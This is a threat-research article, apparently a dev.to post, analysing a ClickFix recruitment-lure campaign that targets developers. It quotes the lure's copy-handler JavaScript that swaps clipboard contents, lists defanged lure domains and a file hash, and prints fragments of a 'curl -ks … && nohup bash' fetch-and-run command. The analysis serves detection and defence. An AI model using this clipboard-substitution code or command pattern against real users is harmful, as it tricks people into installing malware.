      <title>Anatomy of a Developer Lure: ClickFix Clipboard Manipulation</title>
      <dc:creator>Ilja Krasnjanski</dc:creator>
      <pubDate>Mon, 02 Nov 2026 02:17:16 +0000</pubDate>
      <link>https://dev.to/ik-iljakrasnjanski/anatomy-of-a-developer-lure-clickfix-clipboard-manipulation-3g1o</link>
      <guid>https://dev.to/ik-iljakrasnjanski/anatomy-of-a-developer-lure-clickfix-clipboard-manipulation-3g1o</guid>
      <description>&lt;p&gt;The recruitment site asks the candidate to copy a verification command, run it in a terminal, and paste back the result. The page promises a &lt;code&gt;VERIFY-&lt;/code&gt; code. But when the candidate presses copy, the page replaces the selected text with a command that also attempts to install a payload.&lt;/p&gt;

&lt;p&gt;That is the ClickFix technique: a web page persuades someone to paste and run a command, shifting execution from the browser to the user's terminal. Three phishing messages received in June and July 2026 led me to several delivery branches, collection payloads, a GitLab configuration resolver and exposed administration software, and in the browser branch, the verification step conceals the install attempt.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal" rel="noopener noreferrer"&gt;Proofpoint tracks the cluster as UNK_DeadDrop&lt;/a&gt;. Its reporting, together with &lt;a href="https://blog.denv.it/posts/i-was-likely-targeted-by-dprk-in-a-sophisticated-developer-malware-campaign/" rel="noopener noreferrer"&gt;Denys Vitali's earlier investigation&lt;/a&gt;, provides context for the editor-based branch in the next post, while Unit 42's &lt;a href="https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/" rel="noopener noreferrer"&gt;research on fake-recruiter campaigns delivering BeaverTail and InvisibleFerret&lt;/a&gt; describes the wider pattern of job-themed lures aimed at developers. The W3C &lt;a href="https://www.w3.org/TR/clipboard-apis/" rel="noopener noreferrer"&gt;Clipboard API specification&lt;/a&gt; defines the copy event that allows a page to replace selected text.&lt;/p&gt;

&lt;h2&gt;
  
  
  The command shown to candidates
&lt;/h2&gt;

&lt;p&gt;The recovered lures use recruitment and technical-assessment themes. Their verification flow asks the candidate to copy a command, enter or use an access phrase, and return the terminal's output, and the command does print the promised verification result while also attempting to install a payload. That makes the exchange more convincing than a page that asks someone to run an unexplained command: the page and terminal appear to agree. The candidate gets the expected output to submit.&lt;/p&gt;

&lt;p&gt;The captured pages fall into two frontend groups. Lighter bundles show an access-key or anti-spam panel, while larger ones load TensorFlow.js face-detection models and activate the camera for a more elaborate device-check presentation, and Three.js appears only in a separate design-challenge lure. Across these interfaces, the clipboard substitution is the behavior that changes the command.&lt;/p&gt;

&lt;p&gt;The retained lure material includes builds associated with &lt;code&gt;joincategory[.]xyz&lt;/code&gt; and &lt;code&gt;d2saitrade[.]ink&lt;/code&gt;, plus heavier captures from &lt;code&gt;dscufo[.]xyz&lt;/code&gt; and &lt;code&gt;nemesistrade[.]work&lt;/code&gt;, and later URLScan response-body recovery found the same kit on &lt;code&gt;discufo[.]xyz&lt;/code&gt;, &lt;code&gt;trixauvex[.]org&lt;/code&gt;, &lt;code&gt;nodit[.]org&lt;/code&gt;, &lt;code&gt;surgecareer[.]ink&lt;/code&gt;, &lt;code&gt;calendly[.]foxtopia[.]xyz&lt;/code&gt; and &lt;code&gt;calendly[.]optixauvex[.]us&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I added these captures to the known lure set. Visitor activity remains unknown. The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/indicators/" rel="noopener noreferrer"&gt;historical indicator reference&lt;/a&gt; lists their URLs and evidence class. The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/artifacts/" rel="noopener noreferrer"&gt;artifact reference&lt;/a&gt; records the response hashes.&lt;/p&gt;

&lt;p&gt;The same clipboard kit appeared under later covers. July captures preserve an Almanac-themed page at &lt;code&gt;validator.aavzx[.]ink&lt;/code&gt; and a 3D box-preview lure at &lt;code&gt;3dscenebox[.]online&lt;/code&gt;; the latter's &lt;code&gt;check_3d_m&lt;/code&gt; and &lt;code&gt;check_3d_w&lt;/code&gt; files matched the &lt;code&gt;upd_m&lt;/code&gt; and &lt;code&gt;upd_w&lt;/code&gt; droppers from the &lt;code&gt;api.aazdias[.]ink&lt;/code&gt; store by SHA-256. The captures date the pages and identify their droppers. No visitor execution records accompanied them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftyvgoyezc2uvgc372xxj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftyvgoyezc2uvgc372xxj.png" alt="One copy action, two command effects" width="800" height="552"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. The copied command combines the verification output with an installation attempt.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Copying changes the terminal command
&lt;/h3&gt;

&lt;p&gt;The copy handler served by &lt;code&gt;d2saitrade[.]ink&lt;/code&gt; replaces the clipboard contents in a few lines. Only line breaks have been added to this excerpt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`copy`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getSelection&lt;/span&gt;&lt;span class="p"&gt;()?.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s2"&gt;``&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="nx"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clipboardData&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`text/plain`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;R&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;phrase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="nf"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`cmdline_copied`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;os&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;step&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`verify`&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;preventDefault()&lt;/code&gt; stops the browser's normal copy operation. &lt;code&gt;setData()&lt;/code&gt; places the result of &lt;code&gt;R()&lt;/code&gt; on the clipboard: a command built for the detected operating system (&lt;code&gt;y&lt;/code&gt;) and verification nonce, and the handler then reports a &lt;code&gt;cmdline_copied&lt;/code&gt; event to the site.&lt;/p&gt;

&lt;p&gt;Although &lt;code&gt;R()&lt;/code&gt; receives the phrase entered by the candidate, that value does not appear in the command text in this bundle, and the handler also runs only when text inside the command box is selected. I followed &lt;code&gt;R()&lt;/code&gt; into the installation logic. A clipboard API alone is a weak signal because legitimate applications use one too; the evidence of deception is the mismatch between the displayed verification text and the generated command.&lt;/p&gt;

&lt;p&gt;The generated command differs by platform. On macOS and Linux, it starts a background download-and-execution sequence, then prints a &lt;code&gt;VERIFY-&lt;/code&gt; result, while on Windows, the hidden installation logic is prepended to the prompt sequence, so the candidate sees an access-key prompt before the result. The recorded Windows branch explicitly enables the hidden installer. On Unix-like systems, backgrounding lets the visible verification wrapper finish while installation proceeds separately. Both wrappers are documented in the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E02.pdf" rel="noopener noreferrer"&gt;clipboard-lure analysis&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The verification output makes the copied command look successful even if the installation attempt fails. Checking for the expected prefix misses that second behavior. The nonce and phrase may distinguish verification exchanges. The backend's acceptance logic was unavailable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The installer uses the lure site's origin
&lt;/h2&gt;

&lt;p&gt;The URL builder takes its first-stage download location from &lt;code&gt;window.location.origin&lt;/code&gt;. Whichever site serves the lure also supplies the download origin. The recorded names include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;verify_m          Unix-like verification dropper
verify_w          Windows verification dropper
check_bot_m/w     Anti-bot variants
check_3d_m/w      Design-challenge variants
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This design makes the frontend portable across lure domains: changing the page's origin also changes the first-stage retrieval location, without a hostname literal in the bundle, and searching only for known C2 domains will miss that URL. Later collection code obtains its destination through a separate mechanism, including the GitLab resolver examined in Part 6, so the lure host and collection destination belong at different points in the chain.&lt;/p&gt;

&lt;p&gt;The bundle references &lt;code&gt;/device-check&lt;/code&gt;, &lt;code&gt;/verify&lt;/code&gt;, &lt;code&gt;/complete&lt;/code&gt; and &lt;code&gt;/track-activity&lt;/code&gt;, plus challenge-specific routes, and the &lt;code&gt;cmdline_copied&lt;/code&gt; event shows that the client is designed to report when someone copies the command. The telemetry records a copy action before any terminal execution. Neither that event nor the verification output confirms installation. No backend infection log was recovered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signals in the page's JavaScript
&lt;/h2&gt;

&lt;p&gt;The useful browser-side signal is the combination of a verification interface, a copy handler and an argument that leads to installation logic, while the word “verify,” a clipboard API or a download helper alone is weak evidence.&lt;/p&gt;

&lt;p&gt;Endpoint hunting should follow the command's actual destination. Here the candidate pastes into a terminal, so a rule requiring an editor-to-shell process chain would miss the intended behavior. Follow the copied command, its child processes, downloaded scripts, persistence and outbound connections, and for static triage, compare the displayed text with the value passed to the clipboard, then trace the download URL back through the command builder. That exposes the substitution without executing the bundle.&lt;/p&gt;

&lt;p&gt;Because the first-stage download comes from the lure page's own origin, one concrete hunt follows directly from the code: look for a shell or PowerShell download shortly after a terminal paste, from a host the browser had just been visiting.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;technical paper&lt;/a&gt; also records that some copied strings end in a trailing newline. Depending on terminal behavior, the command may run as soon as it is pasted. This was not tested across terminals.&lt;/p&gt;

&lt;p&gt;On the static side, a later scan of a held lure bundle found two clipboard-write sites in a sample of 73,545 bytes, with the following SHA-256:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5ee915bb8d0363bd92176cc595d7425fd7e7830508d8824d90b5285a3d2b11bd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The copied value in this bundle is generated when someone clicks, and the builder receives the visitor's operating system along with a nonce and phrase, so a scanner that reads only literal string arguments sees a clipboard call with an unresolved value.&lt;/p&gt;

&lt;p&gt;Version 0.2.0 of the companion scanner follows that value through the command builder, platform helpers and process-detaching wrapper. It extracts their text without evaluating the code. In this bundle, the &lt;code&gt;clickfix-clipboard-command&lt;/code&gt; rule reports an error and identifies the &lt;code&gt;perl -MPOSIX&lt;/code&gt; double-fork wrapper, the verification wording and the copy handler that replaces the selected text.&lt;/p&gt;

&lt;p&gt;The same rule follows the later Scene Box lure's generic &lt;code&gt;copyText(text)&lt;/code&gt; helper to the &lt;code&gt;curl -ks … &amp;amp;&amp;amp; nohup bash&lt;/code&gt; command supplied by its callers. All three retained lure generations reach error level.&lt;/p&gt;

&lt;p&gt;Across 3,000 popular npm packages and Open VSX extensions, the rule raised no errors and one warning for an installer's "copy command" button. To verify the visual deception, compare the rendered instruction with the command placed on the clipboard in a browser.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/02-vsix-editor-execution/" rel="noopener noreferrer"&gt;repository branch&lt;/a&gt; uses a different entry point: a package calling itself Google Update Support installs collection components through the code editor.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/01-clickfix-clipboard-manipulation/" rel="noopener noreferrer"&gt;UNK_DeadDrop research site&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Campaign paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK-Scanner-Paper.pdf" rel="noopener noreferrer"&gt;Static AST-Based Triage of Socially-Engineered Developer Lures&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; &lt;a href="https://github.com/KrasForge/unk-scanner" rel="noopener noreferrer"&gt;unk-scanner on GitHub&lt;/a&gt;, with rules and inert fixtures&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Series:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/" rel="noopener noreferrer"&gt;all fourteen parts on the UNK_DeadDrop research site&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;This article was prepared with AI assistance; the research and evidence are the author's.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>malware</category>
      <category>javascript</category>
      <category>phishing</category>
    </item>
  </channel>
</rss>
